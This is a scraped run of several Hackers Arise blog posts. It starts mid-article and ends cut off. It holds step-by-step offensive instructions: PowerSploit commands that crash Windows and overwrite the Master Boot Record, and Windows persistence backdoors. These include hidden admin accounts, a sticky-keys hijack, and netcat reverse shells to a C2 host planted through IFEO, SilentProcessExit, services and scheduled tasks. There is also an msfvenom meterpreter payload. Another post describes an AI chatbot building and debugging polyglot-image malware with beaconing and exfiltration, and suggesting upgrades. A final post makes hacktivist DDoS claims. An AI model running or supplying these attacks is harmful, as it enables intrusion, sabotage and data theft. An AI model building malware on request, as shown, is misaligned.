https://github.com/soupbone89/Scripts/tree/main/USB%20and%20Network%20Killer

This script disables both network adapters and USB controllers, cutting a machine off from connectivity and removable storage entirely. Once triggered, there is no way to transfer files, connect to the network, or even plug in a recovery device without significant manual intervention.

Administrators might deploy this in a crisis to instantly isolate a machine during incident response, but in the wrong hands it is a sabotage tool that leaves the user effectively locked out.

Run it as follows:

PS > .\killer.ps1

Mayhem by PowerSploit

Repo:

https://github.com/PowerShellMafia/PowerSploit/tree/master/Mayhem

The PowerSploit framework includes a dedicated module called Mayhem, containing two of the most destructive PowerShell functions available: Set-CriticalProcess and Set-MasterBootRecord. Both go far beyond simple resource exhaustion, directly attacking the stability of the operating system itself.

Set-CriticalProcess

Windows protects certain processes, such as smss.exe and csrss.exe, by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. The Set-CriticalProcess command allows you to tag any process with this critical status. Killing it immediately forces a system crash.

The crash itself does not cause permanent damage. After reboot, Windows resumes normal operation. This makes it useful as a temporary denial tactic forcing downtime, but not wiping the machine.

To use it, first copy the Mayhem module from the repository to:

C:\Program Files\WindowsPowerShell\Modules\

Then run:

PS > Set-CriticalProcess

Confirm with Y, and expect the machine to blue screen in moments.

Set-MasterBootRecord

This is the most destructive of all. Unlike Set-CriticalProcess, which only disrupts a running session, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR contains the bootloader and partition table, and without it Windows cannot load.

Once overwritten, the system may only display a custom message, refusing to boot into the OS. This tactic mirrors the behavior of destructive malware and ransomware wipers, leaving the target machine completely unusable until the bootloader is repaired or reinstalled.

Example execution:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'

To automate a reboot and ensure the payload takes effect immediately:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately

After reboot, the system will no longer load Windows.

Summary

The techniques described in this article show just how far PowerShell can be pushed when used as a weapon. What begins with simple disruption through RAM and CPU exhaustion quickly escalates into far more destructive actions such as disabling hardware, wiping licensing data, and crashing or even bricking systems by targeting their most fundamental components. In a cyber war context, these capabilities are significant because they move beyond espionage or lateral movement and directly affect the ability of an adversary to operate. The destructive potential cannot be overstated: once unleashed, these techniques can ripple across organizations, producing effects that are not easily reversed. That is why understanding them is important not only for those who might employ them, but also for defenders who need to recognize the damage they can cause and prepare accordingly.

The post PowerShell for Hackers: How to Crash and Burn Windows with Powershell first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Persistence is one of the core objectives of any successful intrusion, ensuring that an attacker can return to a compromised system even after reboots, logouts, or system maintenance. While much attention is often given to executable droppers, services, or scheduled tasks, there exists an entire class of persistence methods that operate purely through configuration changes. These techniques manipulate the operating system’s own settings, registry keys, and management frameworks. Because of this, they are often stealthier, more resilient, and harder to detect with conventional security tools that focus on scanning executables. In this article we will cover several configuration-based persistence strategies on Windows, ranging from user and registry manipulation to more advanced abuses of Image File Execution Options (IFEO), Global Flags with SilentProcessExit, and WMI event subscriptions. Each method shows the tradeoff between durability and detectability, showing how you can weaponize legitimate administrative features to quietly secure long-term access.

Configs

Unlike other persistence methods that rely on executables or scheduled triggers, configuration-based persistence works by altering the system’s own settings. This makes it both subtle and durable: no additional binaries are introduced, nothing new needs to be launched explicitly, and antivirus tools that focus on scanning executables have very little to detect. However, this approach usually requires administrative access to the target machine, since you must modify accounts, registry keys, or remote access settings. It also assumes the system is reachable later, for example via RDP, which is not always the case if it is hidden behind NAT or a firewall.

cmd#> net user hacker p@ssw0rd /add

cmd#> net localgroup administrators /add hacker

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

The first two commands create a new local user and add it to the privileged group. Then, the registry command hides the “attacker” account from the Windows logon screen, though it remains valid for interactive and remote login. Together, these steps provide a stealthy backdoor user that blends into the system and can be used for later access. 

Next we move to a more aggressive form of configuration backdoor:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"

cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f

By writing a Debugger value for sethc.exe (the Sticky Keys accessibility tool), the attacker replaces its execution with cmd.exe. Pressing Shift five times at the logon screen, instead of opening Sticky Keys, will spawn a command shell running with SYSTEM privileges. In addition, modifying RDP-Tcp with UserAuthentication set to 0 lowers the requirement for Network Level Authentication (NLA), allowing you to establish an RDP connection without the credentials. This pair of changes creates a reliable way to recover access directly from the Windows login screen.

Pros: highly persistent and stealthy since it modifies system settings rather than adding new binaries, and it survives reboots without leaving a typical malware footprint.

Cons: requires administrative privileges and is only effective if the attacker can later connect to the host directly. If the machine sits behind NAT or a restrictive firewall, the persistence mechanism may not be reachable.

Debugger

Instead of altering a program on disk, Windows allows a “debugger” to be attached whenever a specific executable is launched. As a hacker you can abuse this feature by setting a Debugger value for a target process so that Windows starts your command line whenever the user opens that program. The original binary remains intact and launches as usual, but the Debugger command can prepend or append additional behavior. Because this configuration lives in the registry under HKLM, it persists across reboots and does not rely on autorun folders or scheduled triggers.

cmd#> copy calc.exe _calc.exe

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f

When the victim starts Calculator, Windows checks IFEO, sees a Debugger set, and runs that command instead of directly running calc.exe. The cmd /C wrapper executes the two chained statements: first _calc.exe (so the user still sees a normal Calculator window), then, after _calc.exe exits, it executes the Netcat line. The single & operator means the second command runs after the first completes, so the reverse shell attempt is deferred until the user closes Calculator. Because the key is under HKLM, creating or modifying it requires administrative privileges. Once set, any user who launches Calculator will trigger the chain.

Pros: persists across reboots while leaving the original application unmodified, and it triggers naturally when a user opens a specific program.

Cons: requires administrative rights to set the HKLM IFEO key and is highly visible to security monitoring because non-developer Debugger values are a known abuse pattern.

IFEO hijacking is elegant because it avoids patching binaries and uses a legitimate Windows feature as the trigger. It is also straightforward to detect and remediate: defenders regularly audit Image File Execution Options for unexpected Debugger entries, and many EDR products alert on their creation. If the targeted program behaves oddly or fails to start under some conditions, the user may notice.

GFLAGS

Windows includes hidden debugging and tracing features that can be abused for persistence. One such feature is the SilentProcessExit mechanism, which allows administrators to configure special actions when a process terminates. By combining this with the GlobalFlag registry setting under Image File Execution Options (IFEO), a hacker can ensure that when a chosen application closes, another process of their choice will be launched. Unlike traditional autorun or scheduled task techniques, this method hides deeper in Windows’ diagnostic infrastructure and is therefore less obvious to casual inspection.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"

The commands provided configure this for Notepad. The first registry modification sets the GlobalFlag value for notepad.exe to 512, which is a flag telling Windows to monitor the process for a “silent process exit.” The next command enables reporting for when Notepad exits. The final one specifies the command to run when that happens. In this configuration, each time a user closes Notepad, the system silently triggers a Netcat reverse shell.

Pros: survives reboots and is not detected by common persistence auditing tools such as Autoruns, since it relies on less-known registry branches rather than Startup, Run keys, or services.

Cons: requires administrative rights to set IFEO and SilentProcessExit values, and defenders who know where to look can discover and remove the entries by auditing the relevant registry paths.

This persistence trick is subtle because it hooks into a diagnostic mechanism rather than mainstream autorun locations. It will not appear in most autorun inspection tools, which makes it attractive to attackers aiming for stealth. However, it is not invisible: defenders aware of SilentProcessExit can query and monitor those registry keys for unexpected values.

WMI

Windows Management Instrumentation (WMI) provides a rich, system-level framework for monitoring and automation that administrators use for telemetry and scheduled actions. Attackers can abuse WMI by creating permanent event subscriptions that live inside the WMI repository and trigger payloads on timers or system events. Because these subscriptions are stored in WMI rather than in obvious autorun registry keys or startup folders, they are stealthier and harder to spot with casual inspection tools, and they persist across reboots until explicitly removed from the repository.

cmd#> wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

cmd#> wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"

cmd#> wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

The first command creates an event filter that will produce a periodic trigger without needing an external driver or service. The second command creates a consumer that describes what should run when the filter fires. The third command binds the filter to the consumer so the event actually causes execution. Together these three commands create a durable subscription inside the WMI repository that causes the specified command to run on the chosen interval or condition.

Pros: survives reboots and supports finely controlled triggers (periodic timers, event-based conditions) while hiding persistence inside the WMI repository rather than in widely-scanned autorun locations.

Cons: requires administrative privileges to create permanent subscriptions and leaves artifacts in the WMI repository that can be enumerated and removed by defenders who know to inspect WMI event subscriptions.

WMI event subscriptions are powerful and flexible for long-lived persistence because they blend into the system management layer and are not visible using lightweight autorun checks. This stealth makes them high-value targets for defensive hunting: enumerating subscriptions, collecting the WMI repository, and monitoring for newly created filters, consumers and bindings are effective ways to detect and remediate this technique.

Summary

Configuration-based persistence techniques represent a subtle but formidable way for attackers to maintain access on Windows systems. By creating hidden accounts, hijacking accessibility tools, lowering RDP security requirements, or embedding logic into registry-based debugging features, you can establish backdoors that blend into system behavior rather than standing out as foreign binaries. IFEO hijacking and GFlags/SilentProcessExit mechanisms show how diagnostic infrastructure can be repurposed to launch payloads, while WMI event subscriptions demonstrate the power of system management features to provide long-lived, flexible triggers. The key strengths of these approaches lie in their stealth, durability across reboots, and reliance on trusted system mechanisms. However, they also share limitations: they typically require administrative privileges and leave artifacts that defenders who know where to look can uncover. For security teams, awareness of these less conventional persistence vectors is critical, as standard autorun and scheduled task auditing alone will not expose them.

In Part 2, we will leverage AppInit, LSASS, Winlogon, and Office to establish persistence on Windows.

The post Advanced Windows Persistence, Part 1: Remaining Inside the Windows Target first appeared on Hackers Arise.

Hello cyberwarriors!

This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces. 

Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.

Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.

Shell

Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2. 

The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.

Pros: allows a controllable retry interval and can be launched from any user account without special privileges.

Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.

This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.

Autostart

Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login. 

Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights. 

Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions. 

Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.

Services

Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot. 

The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed. 

The third line, sc start persistence, instructs SCM to start the service immediately. 

Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.

Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).

Scheduled Tasks

Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.

Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.

Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.

In-Memory

In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.

First you generate a payload with msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

And then inject it into a running process:

cmd$> inject_windows.exe PID meter64.bin

Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.

Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).

Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.

Summary

We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.

In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.

The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.

In the first part of this project, I explored how artificial intelligence can be used to simulate the early stages of a stealthy APT—focusing on polyglot files, in-memory execution, and basic command-and-control behavior. Everything was generated by the AI: from code to corrections, including full payload packaging inside an image file.

Escalating the Simulation: Persistence Begins

At this stage, I wanted to move faster and explore a critical capability of advanced persistent threats: staying alive. A one-shot payload is interesting, but it doesn’t fully reflect how real threats operate. So I asked the AI to build a more advanced script—one that runs in a continuous loop, mimics beaconing behavior using HTTP headers, includes debugging output, and could be executed in a way that makes it compatible with persistence methods like systemd, nohup, or even cron.

The AI immediately returned a fully working proof-of-concept: a Bash script designed for controlled internal testing, which runs in an infinite loop, sends periodic requests with Range headers, and adapts to the environment based on whether curl or wget is available. It even included a variant that can be run inline—exactly the format needed for integration with persistence services. This wasn’t just a script—it was an adaptable, modular payload ready to be embedded and kept alive.

Iterating for Realism: Improved Loop and Embedded Payload

Once I had the new script with persistent behavior and HTTP Range headers working, I decided to hand it back to the AI to see what it would do next. The goal was to test how well it could take a user-supplied payload and fully encapsulate it into a new polyglot image—one that mimics a real persistence loop, usable with systemd or nohup.

The result was polyglot_improved.jpg, an updated version that runs indefinitely, sending requests every 10 seconds using either curl or wget, and tracking state using byte offsets. The image behaves like a normal file, but under the hood, it continuously simulates C2 beaconing.

More interestingly, the AI didn’t stop there—it immediately offered to enhance the payload further, suggesting features like exfiltration, dynamic target resolution, or stealth. These aren’t just minor tweaks; they’re exactly the kind of behaviors seen in modern malware families and APT toolkits. Once again, the AI wasn’t just building code—it was proactively proposing ways to evolve the attack logic.

Simulating Exfiltration: Moving the Target

At this point, I decided to follow one of the AI’s own suggestions: testing a basic form of exfiltration. I wanted to keep things local and harmless, so I asked it to simulate the process using one of the most iconic files for any security lab— Linux Basics for Hackers 2ed.pdf.
I instructed the AI to generate a payload that would first check for the presence of that file, move it to the ~/Downloads directory, and then initiate the HTTP beaconing loop as before. Within seconds, it produced a new polyglot image—polyglot_exfil.jpg—ready to test.

This step aligns perfectly with typical APT behavior: locating files of interest, staging them, and preparing for exfiltration. While in this case the file didn’t leave the system, the logic mimicked exactly how real malware performs staged data collection before sending it off to a remote listener. The fact that the AI stitched this behavior together so naturally just reinforces the experiment’s core question: how close can AI get to autonomously simulating advanced threat logic?

Debugging the Exfiltration Flow

I tested the new image—polyglot_exfil.jpg—but quickly ran into an issue: the request wasn’t formatted correctly, and the file wasn’t downloaded. Consistent with my approach, I didn’t troubleshoot the code myself. Instead, I described the symptoms to the AI in natural language and asked it to fix the behavior.

It responded with a revised payload embedded in a new image—polyglot_pdf_exfil.jpg. This version was designed to fetch the PDF file directly from an internal server via HTTP, then move it to the ~/Downloads folder using either curl or wget, depending on what was available. The logic was clean, clearly commented, and ready to run.

More importantly, the AI showed an ability to not only identify the bug but also restructure the entire flow, maintaining modularity and adaptability—just like a well-designed malware loader would under real operational constraints.

Finalizing the Exfiltration Payload

Even with the revised version—polyglot_pdf_exfil.jpg—the payload still wasn’t working exactly as intended. The AI had attempted to expand variables like URL and FILENAME within a heredoc, but they weren’t being parsed correctly at runtime, leading to malformed requests.

Again, I avoided editing the code myself. I simply shared the terminal output and a screenshot of the behavior. The AI analyzed the situation and explained the root cause clearly: variable expansion within quoted heredoc blocks fails unless the values are injected beforehand.

The fix? It rewrote the script to inject the actual values before writing the heredoc section—solving the problem elegantly. Then it packaged everything into a new image, polyglot_pdf_fixed.jpg, which successfully downloaded the correct file from the specified URL and saved it locally. This showed that the AI wasn’t just capable of debugging—it was learning context across iterations, adjusting its output to match previous failures. That’s not just automation; it’s adaptation.

Successful Execution: Complete Simulated Exfiltration

This time, everything worked exactly as intended. The image polyglot_pdf_fixed.jpg, when executed, downloaded the target PDF from the internal test server and saved it to the correct destination path using the selected available tool (curl or wget). No syntax errors, no broken variables, no unexpected behavior—just a clean, functional simulation of a staged exfiltration operation.

As shown in the GIF below, the full logic—file check, transfer, and persistent HTTP beaconing—executed smoothly. The payload was fully generated, debugged, corrected, and repackaged by the AI across several iterations. This marked the first complete and autonomous simulation of a full exfiltration flow, built entirely via natural language instructions. No manual scripting. No reverse engineering. Just controlled, replicable behavior… designed by a chatbot.

Summary

In this second phase, the simulation advanced from basic command-and-control logic to staged file exfiltration—entirely generated and corrected by AI. Each step stayed tightly aligned with the real TTPs of the Koske APT: use of polyglot images, in-memory execution, environmental adaptation, and modular payloads.

The AI didn’t just generate scripts—it refined them iteratively, just like an automated APT framework would. With the successful simulation of persistent beaconing and file movement, we’re now one step closer to replicating Koske’s full behavior—ethically, transparently, and with zero manual coding.

Until next time…

Smouk out!

The post The One-Man APT – Part II: Stealthy Exfiltration with AI first appeared on Hackers Arise.

Welcome back, my cyberwarriors!

In this series, we will detail how an individual or small group of cyberwarriors can impact global geopolitics. The knowledge and tools that YOU hold are a superpower that can change history.

Use it wisely.

To begin this discussion, let’s look at the actions of a small group of hackers at the outset of the Russian invasion of Ukraine. We will detail these actions up to the present, attempting to demonstrate that even a single individual or small group can influence global outcomes in our connected digital world. Cyber war is real and even a single individual can have an impact on global political outcomes.

Let’s begin in February 2022, nearly 3 years ago. At that time, Ukraine was struggling to throw off the yoke of Russian domination. As a former member state of the Soviet Union (the successor to the Romanov’s Russian Empire), they declared their independence, like so many former Soviet republics (such as Estonia, Latvia, Lithuania, Georgia, Armenia, Kazakhstan, and others) from that failed and brutal alliance in 1991 (this is the moment that the Soviet Union disintegrated). This union failed primarily due to the inability of the Soviet Union to address the needs of their citizens. Simple things like food, clean water, and consumer goods. And, of course, the tyranny.

Russia, having lost absolute control of these nations, attempted to maintain influence and control by bending their leaders to Putin’s will. In Ukraine, this meant a string of leaders who answered to Putin, rather than the Ukrainian people. In addition, Russian state-sponsored hackers such as Sandworm, attacked Ukraine’s digital infrastructure repeatedly to create chaos and confusion within the populace. This included the famous BlackEnergy3 attack in 2014 against the Ukrainian power transmission system that blacked out large segments of Ukraine in the depths of winter (for more on this and other Russian cyberattacks against Ukraine, read this article).

In February 2022, the US and Western intelligence agencies warned of an imminent attack from Russia on Ukraine. In an unprecedented move, the US president and the intelligence community revealed, (based upon satellite and human intelligence-) that Russia was about to invade Ukraine. The new Ukrainian president, Volodymyr Zelenskyy, publicly denied and tried to minimize the probability that an attack was about to take place. Zelenskyy had been a popular comedian and actor in Ukraine (there is a Netflix comedy made by Zelenskyy before he became president named “Servant of the People”) and was elected president in a landslide election as the people of Ukraine attempted to clean Russian domination from their politics and become part of the free Europe. Zelenskyy may have denied the likelihood of a Russian attack to bolster the public mood in Ukraine and not anger the Russian leader (Ukraine and Russia have long family ties on both sides of the border) .

We at Hackers-Arise took these warnings to heart and started to prepare.

First, we enumerated the key websites and IP addresses of critical and essential Russian military and commercial interests. There was no time to do extensive vulnerability research on each of those sites with the attack imminent, so instead, we readied one of the largest DDoS attacks in history! The goal was to disable the Russians’ ability to use their websites and digital communications to further their war ends and cripple their economy. This is exactly the same tactic that Russia had used in previous cyber wars against their former republics, Georgia and Estonia. In fact, at the same time, Russian hackers had compromised the ViaSat satellite internet service and were about to send Ukraine and parts of Europe into Internet darkness (read about this attack here).

We put out the word to hackers around the world to prepare. Tens of thousands of hackers prepared to protect Ukraine’s sovereignty. Eventually, when Russian troops crossed the border into Ukraine on February 24, 2022, we were ready. At this point in time, Ukraine created the IT Army of Ukraine and requested assistance from hackers across the world, including Hackers-Arise.

Within minutes, we launched the largest DDoS attack the Russians had ever seen, over 760GB/sec (as documented later by the Russian telecom provider, Rostelcom). This was twice the size of any DDoS attack in Russian history (https://www.bleepingcomputer.com/news/security/russia-s-largest-isp-says-2022-broke-all-ddos-attack-records/) This attack was a coordinated DDoS attack against approximately 50 sites in Russia such as the Department of Defense, the Moscow Stock Exchange, Gazprom, and other key commercial and military interests.

As a result of this attack, Russian military and commercial interests were hamstrung. Websites were unreachable and communication was hampered. After the fact, Russian government leaders estimated that 17,000 IP addresses had participated and they vowed to exact revenge on all 17,000 of us (we estimated the actual number was closer to 100,000).

This massive DDoS attack, unlike any Russia had ever seen and totally unexpected by Russian leaders, hampered the coordination of military efforts and brought parts of the Russian economy to its knees. The Moscow Stock Exchange shut down and the largest bank, Sberbank, closed. This attack continued for about 6 weeks and effectively sent the message to the Russian leaders that the global hacker/cyberwarrior community opposed their aggression and was willing to do something about it. This was a
first in the history of the world!

The attack was simple in the context of DDoS attacks. Most DDoS attacks in our modern era involve layer 7 resources to make sites unavailable, but this one was simply an attack to clog the pipelines in Russia with “garbage” traffic. It worked. It worked largely because Russia was arrogant and unprepared without adequate DDoS protection from the likes of Cloudflare or Radware.

Within days, we began a new campaign to target the Russian oligarchs, the greatest beneficiaries of Putin’s kleptocracy (you can read more about it here). These oligarchs are complicit in robbing the Russian people of their resources and income for their benefit. They are the linchpin that keeps the murderer, Putin, in power. In this campaign, initiated by Hackers-Arise, we sought to harass the oligarchs in their yachts throughout the world (the oligarchs escape Russia whenever they can). We sought to first (1) identify their yachts, then (2) locate their yachts, and finally (3) send concerned citizens to block their fueling and re-supply. In very short order, this campaign evolved into a program to capture these same super yachts and hold them until the war was over, eventually to sell and raise funds to rebuild Ukraine. We successfully identified, located, and seized the top 9 oligarch yachts (worth billions of USD), including Putin’s personal yacht (this was the most difficult). All of them were seized by NATO forces and are still being held.

In the next few posts here we will detail;

1. The request from the Ukraine Army to hack IP cameras in Ukraine for surveillance and our success in doing so;

2. The attacks against Russian industrial systems resulted in damaging fires and other malfunctions.

   Look for Master OTW’s book, “A Cyberwarrior Handbook”, coming in 2026.

Welcome back, my aspiring cyberwarriors!

The quick answer is “Yes!”.

It might seem like science fiction, but now we have the capability to “see” through walls and track the location and movement of targets. This is thanks to new technological developments in both artificial intelligence and SDR. Remember, Wi-Fi is simply sending and receiving radio signals at 2.45Ghz. If an object is in the way of the signal, it bounces, bends and refracts the signal. This perturbing of the signal can be very complex but advances in machine learning (ML) and AI now make it possible to to collect and track those changes in the signal and determine if it’s a human, dog, or an intruder. This is the beginning of something exciting, and quite possibly, malicious.

This is one more reason why we say that SDR (Signals Intelligence) for Hackers is the leading edge of cybersecurity!

The Science Behind Wi-Fi Sensing

How It Works

• Wi-Fi signals are electromagnetic waves that can pass through common wall materials like drywall, wood, and even concrete (with some signal loss).
• When these signals encounter objects, especially humans, they reflect, scatter, and diffract.
• By analyzing how Wi-Fi signals bounce back, it’s possible to detect the presence, movement, and even the shape of people behind walls.

Key Concepts

• Phase and Amplitude: The changes in phase and amplitude of the Wi-Fi signal carry information about what the signal has encountered.
• Multipath Propagation: Wi-Fi signals reflect off multiple surfaces, producing a complex pattern that can be decoded to reveal movement and location.
• DensePose & Neural Networks: Modern systems use AI to map Wi-Fi signal changes to specific points on the human body, reconstructing pose and movement in 3D.

The Hardware

You don’t need military-grade gear. Here’s what’s commonly used:

• Standard Wi-Fi Routers: Most experiments use commodity routers with multiple antennas.
• Software-Defined Radios (SDRs): For more control and precision, SDRs like the HackRF or USRP can be used (see our tutorials and trainings on SDR for Hackers)
• Multiple Antennas: At least two, but three or more improves accuracy and resolution.

The Software

Data Collection

• Transmit & Receive: One device sends out Wi-Fi signals, another listens for reflections.
• Channel State Information (CSI): This is the raw data showing how signals have changed after bouncing off objects.

Processing

• Signal Processing: Algorithms filter out static objects (walls, furniture) and focus on moving targets (people).
• Neural Networks: AI models such as DensePose map signal changes to body coordinates, reconstructing a “pose” for each detected person

Wi-Fi Sensing in Action

Step 1: Set Up Your Equipment

• Place a Wi-Fi transmitter and receiver on opposite sides of the wall.
• Ensure both devices can log CSI data. Some routers can be flashed with custom firmware (e.g., OpenWRT) to access this.

Step 2: Collect CSI Data

• Use tools like Atheros CSI Tool or Intel 5300 CSI Tool to capture the raw signal data.
• Move around on the far side of the wall to generate reflections.

Step 3: Process the Data

